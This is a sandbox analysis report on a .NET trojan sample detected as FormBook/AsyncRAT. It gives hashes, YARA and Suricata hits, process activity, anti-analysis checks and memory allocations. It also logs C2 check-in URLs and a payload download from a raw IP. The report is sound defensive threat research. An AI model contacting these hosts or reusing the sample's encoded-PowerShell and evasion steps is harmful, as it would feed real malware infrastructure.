Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 22, 2023, 8:43 a.m.	April 22, 2023, 8:49 a.m.

Size	261.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`c167a030f4e6252f380c5d177282cfbe`
SHA256	`b4c98e5f455268459dbf8afce9997b4c4355ec30601dd290979a310773f0ed99`
CRC32	`C044119B`
ssdeep	`3072:bw2zOh1XA2eOECpKAGelMUdsQ0ffIE5FOiPihtzHju/D6X9zWvn7GPTLbw:bw2y2kppKAGTUdsQ0omdihtO/+NzWqL`
Yara	Win32_Trojan_Emotet_2_Zero - Win32 Trojan Emotet Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT IsPE32 - (no description) PE_Header_Zero - PE File Signature

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
2556
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
  2760
- MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2944

Name	Response	Post-Analysis Lookup
www.hjd04b.com	A 104.21.6.135 A 172.67.154.224	172.67.154.224
www.eoujkbvn.shop	A 104.21.61.129 A 172.67.210.136	104.21.61.129
www.49astleystreet.com	A 52.147.15.202	52.147.15.202

IP Address	Status	Action
104.21.6.135	Active	Moloch
104.21.61.129	Active	Moloch
164.124.101.2	Active	Moloch
172.245.214.178	Active	Moloch
52.147.15.202	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49170 -> 52.147.15.202:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 104.21.6.135:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 52.147.15.202:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 104.21.6.135:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 52.147.15.202:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 104.21.6.135:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 104.21.61.129:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 104.21.61.129:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 104.21.61.129:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 22, 2023, 8:43 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 22, 2023, 8:43 a.m.			0	0
IsDebuggerPresent April 22, 2023, 8:43 a.m.			0	0
IsDebuggerPresent April 22, 2023, 8:43 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (43 events)

Time & API	Arguments	Status	Return
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004bb4a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004bb4a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x004bb228 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003674e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367c68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003674a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003674a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003674a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003670a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367a68 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367de8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367d28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 22, 2023, 8:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00367d28 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 22, 2023, 8:43 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ April 22, 2023, 8:43 a.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72951194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72822ba1 mscorlib+0x32d2be @ 0x71b0d2be mscorlib+0x32d233 @ 0x71b0d233 mscorlib+0x32d12a @ 0x71b0d12a 0x63054a 0x6302b5 0x63023c 0x6301ef system+0x1f9799 @ 0x70439799 system+0x1f92c8 @ 0x704392c8 system+0x1eca74 @ 0x7042ca74 system+0x1ec868 @ 0x7042c868 system+0x1f82b8 @ 0x704382b8 system+0x1ee54d @ 0x7042e54d system+0x1f70ea @ 0x704370ea system+0x1e56c0 @ 0x704256c0 system+0x1f8215 @ 0x70438215 system+0x1f6f75 @ 0x70436f75 system+0x1ee251 @ 0x7042e251 system+0x1ee229 @ 0x7042e229 system+0x1ee170 @ 0x7042e170 0x43a08e gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x75856de8 GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x75856e44 KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x76f2011a system+0x1ebc85 @ 0x7042bc85 system+0x1f683b @ 0x7043683b system+0x1e592f @ 0x7042592f 0x630086 0x630056 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x727b264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x727b2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728674ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72867610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x728f1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x728f1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x728f1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x728f416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7415f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741d7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741d4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7597b727 registers.esp: 4254200 registers.edi: 0 registers.eax: 4254200 registers.ebp: 4254280 registers.edx: 0 registers.ebx: 5568400 registers.esi: 5019368 registers.ecx: 688245022	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

April 22, 2023, 8:43 a.m.

stacktrace:

CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72951194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72822ba1
mscorlib+0x32d2be @ 0x71b0d2be
mscorlib+0x32d233 @ 0x71b0d233
mscorlib+0x32d12a @ 0x71b0d12a
0x63054a
0x6302b5
0x63023c
0x6301ef
system+0x1f9799 @ 0x70439799
system+0x1f92c8 @ 0x704392c8
system+0x1eca74 @ 0x7042ca74
system+0x1ec868 @ 0x7042c868
system+0x1f82b8 @ 0x704382b8
system+0x1ee54d @ 0x7042e54d
system+0x1f70ea @ 0x704370ea
system+0x1e56c0 @ 0x704256c0
system+0x1f8215 @ 0x70438215
system+0x1f6f75 @ 0x70436f75
system+0x1ee251 @ 0x7042e251
system+0x1ee229 @ 0x7042e229
system+0x1ee170 @ 0x7042e170
0x43a08e
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x758562fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75856d3a
GetThreadDesktop+0x185 GetWindowLongW-0x216 user32+0x16de8 @ 0x75856de8
GetThreadDesktop+0x1e1 GetWindowLongW-0x1ba user32+0x16e44 @ 0x75856e44
KiUserCallbackDispatcher+0x2e KiUserExceptionDispatcher-0x1a ntdll+0x1011a @ 0x76f2011a
system+0x1ebc85 @ 0x7042bc85
system+0x1f683b @ 0x7043683b
system+0x1e592f @ 0x7042592f
0x630086
0x630056
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x727b264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x727b2e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728674ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72867610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x728f1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x728f1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x728f1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x728f416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7415f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x741d7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x741d4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x7597b727
registers.esp: 4254200
registers.edi: 0
registers.eax: 4254200
registers.ebp: 4254280
registers.edx: 0
registers.ebx: 5568400
registers.esi: 5019368
registers.ecx: 688245022

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://172.245.214.178/007/Fetsok.dat
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.eoujkbvn.shop/my28/?8pgHjRdp=L4acUB+47lynVF4fjl9p6Di64KDq5P2gzlJCkdZJaqemyNdaz3c4hs19zS7nZyQH6vk86Fkh&r6=X4XDHZU8s
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.49astleystreet.com/my28/?8pgHjRdp=+VAUe4t+xmaF92noBAsndN56+z0GlyZ4xiIxgvDciribSLdsxv7/Rp1zqOY349oGooJSGIY2&r6=X4XDHZU8s
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.hjd04b.com/my28/?8pgHjRdp=l6PR18TDP4lswArBVO5bAFPootK1SxL5gNddDcv8ESa3Cj6F17LLz9lgx0MVn3j38wYGOJcR&r6=X4XDHZU8s

Performs some HTTP requests (4 events)

request	GET http://172.245.214.178/007/Fetsok.dat
request	GET http://www.eoujkbvn.shop/my28/?8pgHjRdp=L4acUB+47lynVF4fjl9p6Di64KDq5P2gzlJCkdZJaqemyNdaz3c4hs19zS7nZyQH6vk86Fkh&r6=X4XDHZU8s
request	GET http://www.49astleystreet.com/my28/?8pgHjRdp=+VAUe4t+xmaF92noBAsndN56+z0GlyZ4xiIxgvDciribSLdsxv7/Rp1zqOY349oGooJSGIY2&r6=X4XDHZU8s
request	GET http://www.hjd04b.com/my28/?8pgHjRdp=l6PR18TDP4lswArBVO5bAFPootK1SxL5gNddDcv8ESa3Cj6F17LLz9lgx0MVn3j38wYGOJcR&r6=X4XDHZU8s

Allocates read-write-execute memory (usually to unpack itself) (50 out of 187 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 917504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00740000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02220000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02390000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00455000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0045b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00630000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732e2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00631000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00632000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00633000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00634000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00635000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00636000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
